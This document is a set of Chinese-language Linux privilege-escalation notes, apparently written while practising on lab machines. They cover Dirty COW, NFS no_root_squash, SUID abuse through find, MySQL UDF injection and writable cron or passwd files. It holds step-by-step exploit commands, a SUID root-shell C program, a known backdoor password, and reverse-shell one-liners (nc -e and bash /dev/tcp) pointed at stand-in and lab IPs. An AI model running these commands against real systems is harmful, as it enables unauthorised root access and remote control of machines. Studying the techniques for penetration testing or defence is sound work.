Linux提权
Linux内核提权
CVE-2016-5195
脏牛漏洞,⼜叫Dirty COW,存在Linux内核中已经有⻓达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10⽉18⽇已经对此进⾏了修复。
该漏洞具体为,Linux内核的内存⼦系统在处理写⼊时复制(copy-on-write, COW)时产⽣了竞争条件(race condition)。恶意⽤户可利⽤此漏洞,来获取⾼权限,对只读内存映射进⾏写访问。竞争条件,指的是任务执⾏顺序异常,可导致应⽤崩溃,或令攻击者有机可乘,进⼀步执⾏其他代码。利⽤这⼀漏洞,攻击者可在其⽬标系统提升权限,甚⾄可能获得root权限。
影响范围:
Linux kernel>=2.6.22
触发代码:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
漏洞利用
EXP:
exp1:https://github.com/FireFart/dirtycow
exp2:https://github.com/gbonacini/CVE-2016-5195
将exp1上传到⽬标机器,使⽤ gcc -pthread dirty.c -o dirty -lcrypt 命令对 dirty.c 进⾏编译,⽣成⼀个dirty的可执⾏⽂件。
将exp2上传到⽬标机器,解压,进⼊解压⽬录。 执⾏make后⽣成可执⾏⽂件dcow, 执⾏ ./dcow -s ,如果成功的话, 会返回⼀个root权限的shell
EXP1使用
在初始状态下,查看etc/passwd文件,可以看出有下列用户
将poc文件上传到服务器中,执行 gcc -pthread dirty.c -o dirty -lcryp
执行编译后的文件,然后查看etc/passwd 可以看到新建了一个root组用户,通过su可以切换用户,密码为figsoZwws4Zu6
Exp2使用
exp3没啥好说的,执行流程上面已经写过了,执行之后会将root密码重置
kali提权辅助工具
如果知道了目标靶机的版本,可以通过searchsploit
命令进行搜索该版本是否在存在提权漏洞
searchsploit ubuntu 7.3.0 #搜索ubuntu 7.3.0版本是否存在提权漏洞
searchspoit -u #更新数据库
其他提权辅助工具
Linux_Exploit_Suggester
这个工具可以根据Linux系统的版本号自动查找相应的提权脚本
第三方服务提权
通过netstat -antup
查看开启网络的服务
NFS提权
NFS可以理解为文件共享服务,通过网络让不同机器进行文件共享,基于UDP/IP,要想使用nfs服务还需要RPC服务,RPC主要功能是指定每个NFS服务所对应的端口,让客户端连接到正确的端口中去。
NFS服务端口:2049
RPC端口:111
root_sqaush和no_root_squash参数
root_sqaush就是让远程的root用户,在访问本地文件系统时,没有root权限,即给远程用户分配一个新的低权限用户nfsnobody
no_root_sqaush 就是让远程主机的root用户,在访问本地文件系统时,仍然使用root权限
要想使用nfs提权,no_root_squash需要开启
当拿到了一个低权限的主机时,查看etc/exports
文件,该文件是NFS配置文件
使用条件
- 主机开启了nfs服务,可以使用nmap扫描,看是否开启了上面的端口
- 开启了no_root_sqaush
攻击方法:
方式一:
在攻击机(root权限)下执行
mount -t nfs 192.168.245.134:/home/user5 /tmp #将192.168.245.134这台机器上的/home/user5 挂载到tmp目录中
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
回到靶机上面,使用shell -p 来获取root权限
不知道为什么我执行的时候报错:./shell: error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory
方式二:
攻击机使用root用户,挂载目标目录,然后在目录中创建一个c语言文件,该c语言文件是创建一个shell程序,然后将其权限添加setuid标志位,这样这个程序在靶机上已普通用户执行就会获得一个root权限的shell
mount -t nfs 192.168.245.134:/home/user5 /tmp #将192.168.245.134这台机器上的/home/user5 挂载到tmp目录中
将下面c代码存放在挂载的目录中
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
编译
gcc -static test.c -o test #-static 是将链接库也编译到可执行文件中
添加setuid(SUID)权限
chmod +s test
然后在靶机上运行test就可以获得root shell
setuid也是SUID
当一个可执行文件启动时,它不会以启动它的用户的权限运行,而是以该文件所有者的权限运行。所以,如果在一个可执行文件上设置了 setuid 位,并且该文件由 root 拥有,当一个普通用户启动它时,它将以 root 权限运行
由于攻击机是以root用户创建的test.c 所以test.c所属者为root,添加了setuid(SUID)之后,已普通用户启动,但是以root权限运行
SUID提权
和刚刚的NFS提权相似,NFS提权本质上也是创建一个SUID权限的可执行文件,让普通用户去执行,SUID提权就是通过本地拥有SUID权限的程序去执行一些命令来获取root shell
suid提权条件
- 程序的所属用户为root
- 程序具有suid权限
查找具有SUID权限的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
find命令
如何find命令具有suid权限的话,可以通过find执行一些系统命令
touch test
find . -exec /bin/sh -p \; -quit
这时候,你就拥有了root权限的⼀个shell
使用find命令进程nc反弹
find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;
find /var/www/dirty -exec bash -i >& /dev/tcp/127.0.0.1/443 0>&1 \;
Mysql UDF 提权
udf提权靶机:https://download.vulnhub.com/raven/Raven2.ova
当拿到了数据库的权限之后,可以尝试对mysql进行udf提权,进而获取更高的系统权限
UDF
udf是用户自定义函数,通常由c/c++编写,并且以共享库形式存在(windows系统上为.dll文件,linux系统上为.so文件)
udf文件存在的位置
在不同版本下位置可能不同
mysql <5.1
windows: C:\windows或者C:\windows\system32
mysql>5.1
mysql 安装路径+lib/plugin (该目录默认不存在需要创建)
UDF提权原理
定义一个自定义函数,这个自定义函数可以是执行系统命令的函数,将该函数编译为动态链接库,放入mysql udf指定的目录中,然后引入该函数,执行系统命令
udf提权的条件
- 拥有对mysql插入和删除的权限
- 拥有对udf文件位置的写入权限
利用过程
在sqlmap中有写好的文件
查看当前数据库的版本
select version();
查看mysql的安装目录
select @@basedir;
查看mysql是否具有读写文件的权限
show variables like '%secure%';
这里主要是看secure_file_priv的值
- 当值为空时,表示对读取和写入操作无要求
- 当值为一个具体的路径时,表示只能在该路径下进行读取和写入操作
- 当值为null时,表示禁止写入和读取的操作
并且这个值只能在的配置文件中修改
具体详细信息以及修改方式可以参考:http://t.csdnimg.cn/XksRU
查看mysql的位数
这个不是靶机的位数,通过查看MySQl的位数
show variables like '%version_%';
查看puglin目录
show variables like '%plugin%';
将恶意的动态链接库上传到puglin目录中
恶意的动态链接库其实在sqlmap上面已经存在了,不过由于为了规避杀软,所以sqlmap进行了编码从处理,需要经过解码才能正常使用,解码工具在sqlmap中也存在,另外使用动态链接还需要考虑mysql的版本位数,上文已经给出了查询命令
extra/cloak/cloak.py #解码工具存放的位置
data/udf/mysql #动态链接库文件存放的位置
python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_ #进行解码
方式一:
如果对plugin目录有写入权限的话,可以直接通过蚁剑链接,上传文件,再或者就是wget之类的,通过python -m http.server
共享文件
wget http://192.168.0.1:8000/test.so -P /usr/lib/mysql/plugin
方式二:
由于直接上传到udf目录没有权限,可以尝试先将动态链接库上传到一个有权限的目录中,然后再通过MySQL的load_file
和into outfile
读取本地文件,并且写入到指定目录中
先将文件上传到tmp目录,然后执行下面命令,返回True表示成功
select load_file('/tmp/udf.so') into dumpfile '/usr/lib/mysql/plugin/test.so';
通过上传的动态链接文件导入函数
create function sys_eval returns string soname 'test.so';
#sys_eval是引入的函数名
select * from mysql.func; #查看当前所有的自定义函数
执行命令
select sys_eval('whoami');
直接执行反弹shellselect sys_eval('bash -i >& /dev/tcp/192.168.245.128/9001 0>&1');
没有成功,不知道为啥,于是我才采用了另外一种方法,在tmp目录下写入一个反弹shell的脚本,将其命名为test.sh,然后执行,即可反弹出root用户
计划任务提权
原理
计划任务以root权限允许,低权限用户可以修改计划任务的运行的文件,从而导致低权限用户以root权限运行程序,导致获取root权限。
这个其实也没啥好说的
passwd 提权
就是普通用户对etc/passwd具有写入的权限,然后我们写入一个高权限用户进入
具体利用教程:http://t.csdnimg.cn/eKfVk